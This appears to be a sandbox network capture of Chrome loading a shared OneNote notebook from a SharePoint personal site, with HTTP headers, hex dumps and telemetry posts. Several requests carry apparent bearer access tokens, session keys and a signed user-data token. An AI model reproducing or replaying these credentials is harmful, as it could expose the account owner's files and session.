https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:10 UTC	1769	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 37 31 31 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 33 36 35 30 35 35 30 31 2c 22 54 22 3a 38 34 34 2c 22 4d 22 3a 22 47 65 74 45 64 75 50 72 6f 70 65 72 74 69 65 73 20 72 65 71 75 65 73 74 20 66 61 69 6c 65 64 20 77 69 74 68 20 61 74 74 65 6d 70 74 20 34 2c 20 73 74 61 74 75 73 20 39 2c 20 72 65 73 70 6f 6e 73 65 44 61 74 61 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 5c 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 5c 22 20 5c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 5c 22 3e 5c 72 5c 6e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 5c 22 68 74 Data Ascii: {"T":1721128027113,"L":[{"G":36505501,"T":844,"M":"GetEduProperties request failed with attempt 4, status 9, responseData <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"ht
2024-07-16 11:07:10 UTC	1699	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b73804ba-3668-4567-a44d-8e1039648844 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783F X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_onenoteslice_control,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 2EC96D490EE94D7FA4DD4E647E3815CE Ref B: EWR311000108045 Ref C: 2024-07-16T11:07:10Z Date: Tue, 16 Jul 2024 11:07:10 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49874	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:10 UTC	1973	OUT	GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNT [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:11 UTC	1194	IN	HTTP/1.1 412 Precondition Failed Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 04944852-292c-462a-894e-eb8b9bb60946 X-UserSessionId: 04944852-292c-462a-894e-eb8b9bb60946 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011816 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: LlgwYH3IwAoNHUs2Qya887rTxx382KrpvnYIJRf34eI=;WJcBE7FWKvNuilWjdnuarr/6JKVJ99VxPRuZvQvJ4r8=,638567248309279846 X-OFFICEFD: DB5PEPF00011816 X-WacFrontEnd: DB5PEPF00011816 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 1D927F20545C41DFB0FF798D16FCCEF6 Ref B: BL2AA2010202021 Ref C: 2024-07-16T11:07:10Z Date: Tue, 16 Jul 2024 11:07:10 GMT Connection: close
2024-07-16 11:07:11 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-07-16 11:07:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49878	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:10 UTC	4456	OUT	GET /afhs/CloudPolicySettings.ashx HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync x-OcpsIsEnabled: true X-Requested-With: XMLHttpRequest X-xhr: 1 x-CacheIsEnabled: false x-LicensingAADIdIsEnabled: false sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f X-AccessTokenTtl: 1721164012481 sec-ch-ua-mobile: ?0 x-UserDataSignature: eyJhbGciOiJSUzI1NiIsImtpZCI6IjdFNEUzOEQ5QjM4RkExRDgxQTMzOEJBNTQxNzNFM0Y5OTE2OEREQzQiLCJ4NXQiOiJmazQ0MmJPUG9kZ2FNNHVsUVhQai1aRm8zY1EiLCJ0eXAiOiJKV1QifQ.eyJVUE4iOiJ1cm46c3BvOmFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNyIsIlBVSUQiOiIiLCJUZW5hbnRJZCI6ImNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsIkZpbGVUZW5hbnRJZCI6IiIsIklzQ29uc3VtZXJVc2VyIjoiRmFsc2UiLCJJc0Fub255bW91c1VzZXIiOiJUcnVlIiwiSG9zdEVuYWJsZWRGZWF0dXJlcyI6IltdIiwiSXNPMzY1Q29uc3VtZXJIb3N0IjoiRmFsc2UiLCJJc08zNjVDb21tZXJjaWFsSG9zdCI6IlRydWUiLCJVc2VyT2JqZWN0SWQiOiIiLCJMb2NhbFN0b3JhZ2VLZXkiOiJTY1Z1MUorUGdjeGY1OE5vOXhLUkF3OWN1WWIrRjlPejdneDdpbjR5c1NNPSIsImF1ZCI6IldBQ0FGSFMiLCJuYmYiOjE3MjExMjgwMTUsImV4cCI6MTcyMTEyOTMzNSwiaWF0IjoxNzIxMTI4MDE1LCJpc3MiOiJXQUMifQ.jQquMpxOOegHqIvE1fOOTvflbeg7CtuYBdzputOm8oGhghiqa5Nd7zuIQHnM1HDHSGUnbAN9JgcmKwEi-rmqRwm6n06gfz8J_ahV18rt6nCcgY796ZxDIMDj8tfoSWDEzs6pH-WETzpkw60i1wJy7cFsN5uFAaHdcJ3viy_3Waxdka1-0JUX21iZAUa2k0eWmOVqaQxGqoUVNk_k1vzwdZ-GKD6fr-A9MdMKlvImM [TRUNCATED] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 x-LicensingIsEnabled: true X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:11 UTC	1277	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 470 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996;Path=/;Domain=euc-onenote.officeapps.live.com; samesite=none; secure; partitioned X-CorrelationId: 7b6012c6-ab06-474a-bfb1-da04e006b813 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: DU2PEPF00029AAD X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Content-Type-Options: nosniff CheckIn-Interval: 1440 X-OFFICEFD: DU2PEPF000195C0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 419738D4119D491093A848DA39089B80 Ref B: EWR311000103027 Ref C: 2024-07-16T11:07:10Z Date: Tue, 16 Jul 2024 11:07:10 GMT Connection: close
2024-07-16 11:07:11 UTC	470	IN	Data Raw: 7b 22 50 6f 6c 69 63 79 53 65 74 74 69 6e 67 73 22 3a 7b 7d 2c 22 43 6f 6e 74 72 6f 6c 6c 65 72 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 46 65 61 74 75 72 65 4e 61 6d 65 73 22 3a 5b 22 6d 73 6f 5f 6f 66 66 69 63 65 53 74 6f 72 65 22 2c 22 6d 73 6f 5f 74 65 6c 6c 4d 65 53 65 72 76 69 63 65 22 2c 22 65 78 63 65 6c 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 70 70 74 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 77 6f 72 64 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 77 6f 72 64 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 56 69 64 65 6f 73 22 2c 22 76 69 73 69 6f 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 6d 73 6f 5f 69 6e 73 65 72 74 4d 6f 62 Data Ascii: {"PolicySettings":{},"ControllerConnectedServicesFeatureNames":["mso_officeStore","mso_tellMeService","excel_insertOnlinePictures","ppt_insertOnlinePictures","word_insertOnlinePictures","word_insertOnlineVideos","visio_insertOnlinePictures","mso_insertMob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49880	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:11 UTC	3495	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 9991 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
2024-07-16 11:07:11 UTC	9991	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 39 32 37 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 33 38 38 33 34 31 38 31 2c 22 54 22 3a 33 39 34 2c 22 4d 22 3a 22 52 65 67 69 73 74 65 72 69 6e 67 20 27 4f 6e 65 4e 6f 74 65 2e 4e 6f 74 65 62 6f 6f 6b 4c 65 76 65 6c 45 64 69 74 6f 72 73 27 20 70 61 63 6b 61 67 65 2e 20 41 64 64 69 6e 67 20 70 61 63 6b 61 67 65 20 74 6f 20 70 61 63 6b 61 67 65 20 6c 69 73 74 20 69 6e 20 27 50 61 63 6b 61 67 4c 69 66 65 63 79 63 6c 65 4d 61 6e 61 67 65 72 27 20 66 6f 72 20 6c 61 74 65 72 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 22 2c 22 43 22 3a 33 39 35 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 32 39 35 36 33 30 2c 22 54 22 3a 34 30 35 2c 22 4d 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 46 65 61 74 75 72 65 48 65 6c 70 Data Ascii: {"T":1721128029278,"L":[{"G":538834181,"T":394,"M":"Registering 'OneNote.NotebookLevelEditors' package. Adding package to package list in 'PackagLifecycleManager' for later configuration.","C":395,"D":50},{"G":507295630,"T":405,"M":"ApplicationFeatureHelp
2024-07-16 11:07:11 UTC	1658	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f13bba98-4e51-4543-88d6-fb98716dfe32 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783C X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: EB09B2A9F9554CDEBAF62055CE8E1395 Ref B: EWR311000103039 Ref C: 2024-07-16T11:07:11Z Date: Tue, 16 Jul 2024 11:07:10 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49883	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:11 UTC	1647	OUT	POST /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 24519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 